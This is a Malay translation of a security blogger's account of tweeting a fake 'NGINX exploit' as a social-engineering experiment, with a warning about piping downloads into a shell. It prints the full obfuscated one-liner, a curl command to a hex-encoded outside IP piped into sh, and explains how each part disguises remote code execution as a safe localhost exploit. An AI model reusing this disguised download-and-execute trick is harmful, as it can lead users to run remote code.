Kejayaan percubaan sosial dengan eksploitasi nginx palsu

Catatan. terjemah: Pengarang nota asal, yang diterbitkan pada 1 Jun, memutuskan untuk menjalankan eksperimen di kalangan mereka yang berminat dalam keselamatan maklumat. Untuk melakukan ini, dia menyediakan eksploitasi palsu untuk kelemahan yang tidak didedahkan dalam pelayan web dan menyiarkannya di Twitternya. Andaian beliau - untuk didedahkan serta-merta oleh pakar yang akan melihat penipuan yang jelas dalam kod - bukan sahaja tidak menjadi kenyataan... Mereka melebihi semua jangkaan, dan ke arah yang bertentangan: tweet itu mendapat sokongan besar daripada ramai orang yang tidak semak kandungannya.

Kejayaan percubaan sosial dengan eksploitasi nginx palsu

TL;DR: Jangan gunakan saluran paip dalam sh atau bash dalam apa jua keadaan. Ini adalah cara terbaik untuk kehilangan kawalan ke atas komputer anda.

Saya ingin berkongsi dengan anda cerita pendek tentang eksploitasi PoC komik yang telah dibuat pada 31 Mei. Dia muncul segera sebagai maklum balas kepada berita daripada Alisa Esage Shevchenko, ahli Inisiatif Hari Sifar (ZDI), bahawa maklumat tentang kelemahan dalam NGINX yang membawa kepada RCE (pelaksanaan kod jauh) akan didedahkan tidak lama lagi. Memandangkan NGINX menguasai banyak laman web, berita itu pasti menjadi bom. Tetapi disebabkan kelewatan dalam proses "pendedahan yang bertanggungjawab", butiran tentang apa yang berlaku tidak diketahui - ini adalah prosedur ZDI standard.

Kejayaan percubaan sosial dengan eksploitasi nginx palsu
Tweet tentang pendedahan kelemahan dalam NGINX

Setelah selesai mengerjakan teknik pengeliruan baharu dalam curl, saya memetik tweet asal dan "membocorkan PoC yang berfungsi" yang terdiri daripada satu baris kod yang kononnya mengeksploitasi kelemahan yang ditemui. Sudah tentu, ini adalah karut sepenuhnya. Saya mengandaikan bahawa saya akan didedahkan serta-merta, dan paling baik saya akan mendapat beberapa tweet semula (oh well).

Kejayaan percubaan sosial dengan eksploitasi nginx palsu
Tweet dengan eksploitasi palsu

Namun, saya tidak dapat membayangkan apa yang berlaku seterusnya. Populariti tweet saya melonjak naik. Yang menghairankan, pada masa ini (15:00 waktu Moscow 1 Jun) beberapa orang telah menyedari bahawa ini adalah palsu. Ramai orang mengetweet semula tanpa menyemaknya sama sekali (apatah lagi mengagumi grafik ASCII yang indah yang dikeluarkannya).

Kejayaan percubaan sosial dengan eksploitasi nginx palsu
Lihat sahaja betapa cantiknya!

Walaupun semua gelung dan warna ini hebat, jelas bahawa orang terpaksa menjalankan kod pada mesin mereka untuk melihatnya. Nasib baik, penyemak imbas berfungsi dengan cara yang sama, dan digabungkan dengan fakta bahawa saya tidak benar-benar mahu menghadapi masalah undang-undang, kod yang terkubur dalam tapak saya hanya membuat panggilan gema tanpa cuba memasang atau melaksanakan sebarang kod tambahan.

Penyimpangan kecil: netspooky, DNZ, saya dan lelaki lain dari pasukan Orang samseng Kami telah bermain dengan cara yang berbeza untuk mengelirukan perintah curl untuk seketika sekarang kerana ia hebat... dan kami geeks. netspooky dan dnz menemui beberapa kaedah baharu yang kelihatan sangat menjanjikan kepada saya. Saya menyertai keseronokan dan cuba menambahkan penukaran perpuluhan IP pada beg helah. Ternyata IP juga boleh ditukar kepada format heksadesimal. Lebih-lebih lagi, curl dan kebanyakan alat NIX lain dengan senang hati memakan IP heksadesimal! Oleh itu, ia hanyalah masalah untuk mencipta baris arahan yang meyakinkan dan kelihatan selamat. Akhirnya saya memutuskan perkara ini:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Kejuruteraan sosio-elektronik (SEE) - lebih daripada sekadar pancingan data

Keselamatan dan kebiasaan adalah bahagian utama dalam eksperimen ini. Saya fikir mereka adalah yang membawa kepada kejayaannya. Baris arahan jelas membayangkan keselamatan dengan merujuk kepada "127.0.0.1" (localhost yang terkenal). Localhost dianggap selamat dan data padanya tidak pernah meninggalkan komputer anda.

Kebiasaan ialah komponen SEE utama kedua bagi percubaan. Memandangkan khalayak sasaran terutamanya terdiri daripada orang yang biasa dengan asas keselamatan komputer, adalah penting untuk mencipta kod supaya sebahagian daripadanya kelihatan biasa dan biasa (dan oleh itu selamat). Meminjam elemen konsep eksploitasi lama dan menggabungkannya dengan cara yang luar biasa telah terbukti sangat berjaya.

Di bawah ialah analisis terperinci tentang satu pelapik. Semua dalam senarai ini memakai sifat kosmetik, dan secara praktikal tiada apa yang diperlukan untuk operasi sebenarnya.

Apakah komponen yang benar-benar diperlukan? ini -gsS, -O 0x0238f06a, |sh dan pelayan web itu sendiri. Pelayan web tidak mengandungi sebarang arahan berniat jahat, tetapi hanya menyampaikan grafik ASCII menggunakan arahan echo dalam skrip yang terkandung dalam index.html. Apabila pengguna memasukkan baris dengan |sh di tengah, index.html dimuatkan dan dilaksanakan. Nasib baik, penjaga pelayan web tidak mempunyai niat jahat.

  • ../../../%00 β€” mewakili melampaui direktori;
  • ngx_stream_module.so β€” laluan ke modul NGINX rawak;
  • /bin/sh%00<'protocol:TCP' - kami sepatutnya melancarkan /bin/sh pada mesin sasaran dan ubah hala keluaran ke saluran TCP;
  • -O 0x0238f06a#PLToffset - ramuan rahsia, ditambah #PLToffset, untuk kelihatan seperti mengimbangi memori entah bagaimana terkandung dalam PLT;
  • |sh; - satu lagi serpihan penting. Kami perlu mengubah hala output ke sh/bash untuk melaksanakan kod yang datang dari pelayan web menyerang yang terletak di 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - dummy di mana netcat merujuk kepada /dev/tcp/localhostsupaya semuanya kelihatan selamat semula. Malah, ia tidak melakukan apa-apa dan termasuk dalam barisan untuk kecantikan.

Ini menyimpulkan penyahkodan skrip satu baris dan perbincangan tentang aspek "kejuruteraan sosio-elektronik" (pancingan data yang rumit).

Konfigurasi Pelayan Web dan Tindakan Balas

Memandangkan sebahagian besar pelanggan saya adalah infosec/penggodam, saya memutuskan untuk menjadikan pelayan web lebih tahan terhadap ungkapan "minat" di pihak mereka, hanya supaya mereka mempunyai sesuatu untuk dilakukan (dan ia akan menjadi menyeronokkan untuk sediakan). Saya tidak akan menyenaraikan semua masalah di sini kerana percubaan masih berjalan, tetapi berikut adalah beberapa perkara yang dilakukan oleh pelayan:

  • Secara aktif memantau percubaan pengedaran pada rangkaian sosial tertentu dan menggantikan pelbagai lakaran kecil pratonton untuk menggalakkan pengguna mengklik pada pautan.
  • Mengubah hala Chrome/Mozilla/Safari/dll ke video promosi Thugcrowd dan bukannya menunjukkan skrip shell.
  • Menonton tanda-tanda pencerobohan/penggodaman yang jelas, dan kemudian mula mengubah hala permintaan ke pelayan NSA (ha!).
  • Memasang Trojan, serta rootkit BIOS, pada semua komputer yang penggunanya melawati hos dari pelayar biasa (gurau sahaja!).

Kejayaan percubaan sosial dengan eksploitasi nginx palsu
Sebahagian kecil antimer

Dalam kes ini, satu-satunya matlamat saya adalah untuk menguasai beberapa ciri Apache - khususnya, peraturan yang menarik untuk mengubah hala permintaan - dan saya fikir: mengapa tidak?

Eksploitasi NGINX (Sebenar!)

Langgan @alisaesage di Twitter dan ikuti kerja hebat ZDI dalam menangani kelemahan yang sangat nyata dan mengeksploitasi peluang dalam NGINX. Kerja mereka sentiasa menarik perhatian saya dan saya berterima kasih kepada Alice atas kesabarannya dengan semua sebutan dan pemberitahuan yang disebabkan oleh tweet bodoh saya. Nasib baik, ia juga memberikan beberapa kebaikan: ia membantu meningkatkan kesedaran tentang kelemahan NGINX, serta masalah yang disebabkan oleh penyalahgunaan curl.

Sumber: www.habr.com

Tambah komen